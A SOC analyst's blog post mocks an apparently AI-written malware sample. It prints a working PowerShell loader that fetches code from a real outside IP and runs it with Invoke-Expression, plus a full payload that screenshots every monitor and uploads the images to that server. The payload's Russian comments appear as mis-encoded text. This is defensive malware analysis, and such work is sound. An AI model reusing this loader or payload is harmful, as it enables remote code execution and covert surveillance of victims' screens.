====================
== Alert Overload ==
====================
Tales from a SOC analyst

Fisher-Price Malware

Fisher-Price Malware

With the rise of AI, Vibe-Coded malware is now an existing threat. Sort of? In the way that a wet noodle could potentially kill you in the right circumstances, Vibe-Coded malware could also pose a threat. It’s just very unlikely. At least, with the current iterations out there.

Enter what I’m calling “Baby’s first malware” AKA “Fisher-Price Malware”. A Vibe-Coded sample found on a users’ device. It’s an “obfuscated” PowerShell loader that pulls a payload that… takes screenshots and uploads them? Kind of? Technically, it works. Sometimes. In perfect conditions.

The user had been searching the web for a work-related document and accidentally clicked an SEO-Optimized malware link. This led them to download the ZIP archive carey guides.zip. This archive contained a file called FULL DOCUMENT .js. When executed, this JavaScript file launched a WScript.exe process that ran the following code:

# Fragment of code, not all script content was captured by logging
IFileSystem3.CreateTextFile("C:\ProgramData\ouvmyzw.ps1", "true");
ITextStream.WriteLine("$qdunlmapkoaodra = Get-Random -Minimum 5 -Maximum 10
$qpoobxpnepr = (Get-Random -Minimum 1000 -Maximum 9999) * 42
function Apollo { [math]::Pow((Get-Random -Minimum 2 -Maximum 5), 2) }
$fjemagwaix = [Math]::Pow(2,4) / 3
$yogj");
ITextStream.Close();
ISWbemObjectEx.SpawnInstance_();
ISWbemObjectEx._01800001("0");
ISWbemObjectEx._01000001("powershell.exe -ep bypass -file "C:\ProgramData\ouvmyzw.ps1"", "Unsupported parameter type 00000001", "Unsupported parameter type 00000009");

Unfortunately, the JavaScript file was not retrieved for analysis. However, the logs suggest that the script simply dropped the PowerShell loader and attempted to execute it.

The loader itself was “Vibe-Obfuscated”. Clearly, the author did not know PowerShell very well and relied on AI to “obfuscate” the loader. This led to interesting things in the code.

# Vibe-Obfscated loader segment


$kxhcgsmimzor = "unused computation " + [Math]::Sqrt(25)
$krxybomk = (Get-Date).Day + (Get-Date).Month
$fytnwoowobto = [math]::Round(3.1415, 2)
"Random operation".ToUpper() | Out-Null
#hnq
[void]"Obfuscation step - random action inserted"
$swnuodndjyrddj = 42 + 150 / 3
$ynyeszsqzvlil = New-Object PSObject
$ffnjaaatvby = @("test_" + (Get-Random -Minimum 1000 -Maximum 9999))
$vefpqnzwptdxysk = "aw"
$iabsyyjfdhg = "This text nothing"
$hlwjmcnrpwqsuh = (Get-Date).ToUniversalTime()
#ge

I love it when an obfuscated payload tells me exactly what has been obfuscated.

There were also some really fun “obfuscation” steps included.

# More Vibe-Obfuscated code. A child could probably have done a better job with a 5 minute explanation of obfuscation.

$rkvgxujihvrks = "This is a meaningless string to add confusion."
$fcrkmc = 10 + 20 * (Get-Random -Minimum 1 -Maximum 5)
function Eclipse { return "JustSomeRandomText" }
...
$ylwfzmzcplkktf = "More noise" + " to avoid clean readability"
...
$srmcybxeycewxny = "Ping at (orion)" | Out-Null
$vsdtn = "satellite-operation"
$yqktdppugvrkuex = (Get-Date).Ticks % 12345
$naahzedb = "Mutex" + "Disposed"
$pcbcvfyufvje = [string]"ThisDoesNothing"
...
$pwnrleccgiwcumf = [string]"ExtraTextJustForFun"
...
$ebscp = "String for reason"
[void]([math]::Log((Get-Random -Minimum 10 -Maximum 20)))
$utjuveb = "aw"
$zhbysielumwfno = "Nothing to see here"

At least the AI was having fun, right?

After removing all of the randomly injected lines, it was revealed that there was no actual obfuscation in the loader. It was all just random lines added to pad the script. Thank you AI.

The actual loader was a simple 28 line script that retrieved a payload and attempted to execute it in memory.

# Vibe-Coded loader

$yogjsam = New-Object -Com "Scripting.FileSystemObject"
$umwmzxmz = 'htt'
$nnlooroq = 'p:/'
$lmfvusds = '/62'
$xtabkgkt = '.60'
$rqqxdbsd = '.17'
$qgjfbmoc = '9.2'
$pymmezte = '30/'
$ksoalip = $yogjsam.GetDrive("c:").SerialNumber
$dbxwxir = New-Object Threading.Mutex($false, $ksoalip);
$pwzoiqk = $dbxwxir.WaitOne(1)
$ksoalip = "{0:X}" -f $ksoalip
$ksoalip = [convert]::toint64($ksoalip,16)
$serial = $ksoalip
$ip = $umwmzxmz + $nnlooroq + $lmfvusds + $xtabkgkt + $rqqxdbsd + $qgjfbmoc + $pymmezte  # http://62.60.179.230/<serial number of drive in hex>
$url = $ip+$serial
$jurhzsk = New-Object Net.WebClient
while ($true) {
try {
$ynxkzek=$jurhzsk.DownloadString($url)
}catch {
    $alxhudowinsjt = New-Object -Com "WScript.Shell"
    continue
}
Invoke-Expression $ynxkzek
}
$dbxwxir.ReleaseMutex();
$dbxwxir.Dispose();

It’s a very boring loader. I’m fairly certain they just prompted an AI to make some kind of “loader” that could pull a payload and this is what it came up with.

You might be thinking that maybe, just possibly, the actual payload is something interesting, right? Unfortunately, the payload is incredibly boring.

PowerShell Payload
# Payload
# 10.02.2025

try {
    $hdpiType = [System.Type]::GetType("System.Windows.Forms.HighDpiMode, System.Windows.Forms")
    if ($hdpiType) {
        [System.Windows.Forms.Application]::SetHighDpiMode([System.Windows.Forms.HighDpiMode]::PerMonitorV2) | Out-Null
    }
} catch { }

Add-Type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Windows.Forms

function Send-Log($result){
    $log = "?k=$result"
    $uploadUrl = $url + $log
    $web = New-Object System.Net.WebClient
    $web.DownloadString($uploadUrl)
}

# ТепеÑÑ Ð¿ÑÐ¸Ð½Ð¸Ð¼Ð°ÐµÑ base64 даннÑÑ Ð¸Ð·Ð¾Ð±ÑажениÑ
function Send-Picture([string]$Base64Data) {
    $uploadUrl = $url + '/?s='
    $web = New-Object System.Net.WebClient
    try {
        $web.UploadString($uploadUrl, $Base64Data)
    } catch {
        $err = $Error[0].Exception.Message
        if (!$err.Contains('404')) {
            throw $err
        }
    }
}

# ÐлобалÑнÑй коÑÑÑиÑÐ¸ÐµÐ½Ñ Ð¼Ð°ÑÑÑаба DPI (Ð´Ð»Ñ Ð½Ðµ-DPI-aware пÑоÑеÑÑов)
function Get-GlobalDpiScale {
    try {
        $applied = (Get-ItemProperty 'HKCU:\Control Panel\Desktop\WindowMetrics' -Name 'AppliedDPI' -ErrorAction Stop).AppliedDPI
    } catch {
        try {
            $applied = (Get-ItemProperty 'HKCU:\Control Panel\Desktop' -Name 'LogPixels' -ErrorAction Stop).LogPixels
        } catch {
            $applied = $null
        }
    }
    if ($applied -and [double]$applied -gt 0) {
        $s = [double]$applied / 96.0
        if ($s -lt 0.75) { return 1.0 } else { return $s }
    }
    return 1.0
}

# ÐозвÑаÑÐ°ÐµÑ base64 JPEG ÑÑÐ°Ð·Ñ Ð¸Ð· памÑÑи
function Get-Scr {
    [CmdletBinding()]
    param(
        [int]$JpegQuality = 80
    )

    $canvas = $null
    $g = $null
    $ms = $null

    try {
        $screens = [System.Windows.Forms.Screen]::AllScreens
        if (-not $screens -or $screens.Count -eq 0) {
            throw "err_3"
        }

        # ÐÑаниÑÑ Ð²Ð¸ÑÑÑалÑного ÑкÑана (логиÑеÑкие кооÑдинаÑÑ)
        $left   = ($screens | ForEach-Object { $_.Bounds.Left })   | Measure-Object -Minimum | Select-Object -ExpandProperty Minimum
        $top    = ($screens | ForEach-Object { $_.Bounds.Top })    | Measure-Object -Minimum | Select-Object -ExpandProperty Minimum
        $right  = ($screens | ForEach-Object { $_.Bounds.Right })  | Measure-Object -Maximum | Select-Object -ExpandProperty Maximum
        $bottom = ($screens | ForEach-Object { $_.Bounds.Bottom }) | Measure-Object -Maximum | Select-Object -ExpandProperty Maximum

        $logicalWidth  = [int]($right - $left)
        $logicalHeight = [int]($bottom - $top)
        if ($logicalWidth -le 0 -or $logicalHeight -le 0) {
            throw "err_2: ${logicalWidth}x${logicalHeight}"
        }

        # ÐоÑÑÑиÑÐ¸ÐµÐ½Ñ Ð¼Ð°ÑÑÑаба по ÑиÑÑÐµÐ¼Ð½Ð¾Ð¼Ñ DPI (Ð´Ð»Ñ Ð½Ðµ-DPI-aware пÑоÑеÑÑа)
        $scale = Get-GlobalDpiScale
        if ($scale -lt 1) { $scale = 1 }

        # ФизиÑеÑкие ÑазмеÑÑ ÑолÑÑа
        $physWidth  = [int][Math]::Round($logicalWidth  * $scale)
        $physHeight = [int][Math]::Round($logicalHeight * $scale)

        $canvas = New-Object System.Drawing.Bitmap($physWidth, $physHeight, [System.Drawing.Imaging.PixelFormat]::Format32bppArgb)
        $g = [System.Drawing.Graphics]::FromImage($canvas)
        $g.CompositingMode    = [System.Drawing.Drawing2D.CompositingMode]::SourceCopy
        $g.CompositingQuality = [System.Drawing.Drawing2D.CompositingQuality]::HighSpeed
        $g.InterpolationMode  = [System.Drawing.Drawing2D.InterpolationMode]::NearestNeighbor
        $g.PixelOffsetMode    = [System.Drawing.Drawing2D.PixelOffsetMode]::HighSpeed
        $g.SmoothingMode      = [System.Drawing.Drawing2D.SmoothingMode]::None

        # Флаги копиÑÐ¾Ð²Ð°Ð½Ð¸Ñ ÐºÐ°Ðº enum
        $flagsValue = [int][System.Drawing.CopyPixelOperation]::SourceCopy
        try { $flagsValue = $flagsValue -bor [int][System.Drawing.CopyPixelOperation]::CaptureBlt } catch { }
        $copyFlags = [System.Enum]::ToObject([System.Drawing.CopyPixelOperation], $flagsValue)

        try {
            foreach ($scr in $screens) {
                $b = $scr.Bounds
                # ÐÑÑоÑник (ÑизиÑеÑкие пикÑели)
                $srcX = [int][Math]::Round($b.X * $scale)
                $srcY = [int][Math]::Round($b.Y * $scale)
                $srcW = [int][Math]::Round($b.Width  * $scale)
                $srcH = [int][Math]::Round($b.Height * $scale)

                # ÐÑиÑмник на ÑолÑÑе (ÑмеÑение Ð¾Ñ Ð¾Ð±Ñего left/top, в Ñиз. пикÑелÑÑ)
                $destX = [int][Math]::Round( ($b.X - $left) * $scale )
                $destY = [int][Math]::Round( ($b.Y - $top)  * $scale )

                $g.CopyFromScreen($srcX, $srcY, $destX, $destY, (New-Object System.Drawing.Size($srcW, $srcH)), $copyFlags)
            }
        } catch {
            # Fallback без CaptureBlt
            $copyFlags = [System.Drawing.CopyPixelOperation]::SourceCopy
            foreach ($scr in $screens) {
                $b = $scr.Bounds
                $srcX = [int][Math]::Round($b.X * $scale)
                $srcY = [int][Math]::Round($b.Y * $scale)
                $srcW = [int][Math]::Round($b.Width  * $scale)
                $srcH = [int][Math]::Round($b.Height * $scale)
                $destX = [int][Math]::Round( ($b.X - $left) * $scale )
                $destY = [int][Math]::Round( ($b.Y - $top)  * $scale )
                $g.CopyFromScreen($srcX, $srcY, $destX, $destY, (New-Object System.Drawing.Size($srcW, $srcH)), $copyFlags)
            }
        }

        # ÐодиÑование JPEG в памÑÑÑ Ð¸ возвÑÐ°Ñ base64
        $jpegEncoder = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.MimeType -eq "image/jpeg" }
        $encoderParams = New-Object System.Drawing.Imaging.EncoderParameters(1)
        $qualityParam = New-Object System.Drawing.Imaging.EncoderParameter([System.Drawing.Imaging.Encoder]::Quality, [int]$JpegQuality)
        $encoderParams.Param[0] = $qualityParam

        $ms = New-Object System.IO.MemoryStream
        $canvas.Save($ms, $jpegEncoder, $encoderParams)
        $null = $ms.Seek(0, [System.IO.SeekOrigin]::Begin)
        $bytes = $ms.ToArray()
        $base64 = [System.Convert]::ToBase64String($bytes)
        return $base64
    }
    catch {
        throw "err_1: $($_.Exception.Message)"
    }
    finally {
        if ($g)      { $g.Dispose() }
        if ($canvas) { $canvas.Dispose() }
        if ($ms)     { $ms.Dispose() }
    }
}

try {
    $imageBase64 = Get-Scr -JpegQuality 25
    Send-Picture $imageBase64
    $log = "script: screen, status: OK, message: screen uploaded"
} catch {
    $log = "script: screen, status: error, message: $($Error[0].Exception.Message)"
}

Send-Log($log)

The payload uses System.Drawing and System.Windows.Forms to attempt to take a screenshot of the desktop and upload it to a remote server as Base64 data. That’s it. It doesn’t do anything else. There is a log function to send off logs, but that’s also boring, so it doesn’t count.

Of course, the Vibe-Coded loader was immediately detected. They might as well have not “obfuscated” the loader at all with how terrible it was.

It seems the era of Vibe-Coded malware is still very, very, very, very, far off. At least for this Vibe-Dev.